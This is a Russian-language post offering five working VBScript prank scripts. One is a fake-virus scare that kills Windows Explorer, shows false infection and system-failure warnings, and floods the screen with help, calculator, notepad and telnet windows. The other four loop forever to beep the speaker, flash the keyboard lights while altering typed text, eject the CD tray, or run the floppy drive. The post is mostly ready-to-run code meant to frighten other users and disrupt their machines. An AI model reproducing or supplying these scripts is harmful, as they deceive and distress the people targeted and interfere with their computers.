1. vbs Скрипт-пугалка (якобы вирус)
Действие:
Выводит на экран сообщение о том что система заражена и просит перезагрузить компьютер, а затем включает много командных строк, калькуляторы, блокноты и многое другое.
Скрипт:
on error resume next set t=createobject("Wscript.Shell") set kill = createobject("wscript.shell") kill.run"taskkill /f /im explorer.exe",0 msgbox"Неполадка системы",16,"Error" msgbox"Вы заражены вирусом",48,"Windows" msgbox"Необходим перезапуск системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"explorer" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help"
---------------
2. Бесконечно пищащий системный динамик
Действие:
vbs скрипт заставляет бесконечно пищать системный динамик в процессоре компьютера
Скрипт:
Set S = CreateObject("Wscript.Shell") do execute"S.Run ""%comspec% /c "" & Chr(7), 0,True" loop
---------------
3. Мигающая клавиатура
Действие:
Заставляет мигать лампочки у клавиатуры, а так же делает написанный текст вида: ПрИмЕр ТеКсТа
vbs Скрипт:
Set s = CreateObject("Wscript.Shell") do wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80 wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80 loop
----------------
4. Въезжающий - выезжающий дисковод
Действие:
Заставляет бесконечно въезжать - выезжать дисковод в компьютере
vbs Скрипт:
Set WMPlayer = CreateObject("WMPlayer.OCX.7") do WMPlayer.CdRomCollection.Item(0).Eject() loop
----------------
5. Бесконечно жужжащий разъем для дискет
Действие:
Имитирует, что в приводе для дискет находится дискета. Заставляет его жужжать.
Скрипт:
Set WSHShell=WScript.CreateObject("WScript.Shell") Sub Zapadlo(Fuck,Wait) Set WshShell=WScript.CreateObject("WScript.Shell") C=WshShell.Run(Fuck,Wait) End Sub do Call Zapadlo("A:\",true) loop
ВНИМАНИЕ. Чтобы отключить скрипт необходимо в процессах (вкладка в диспетчере задач) завершить wscript.exe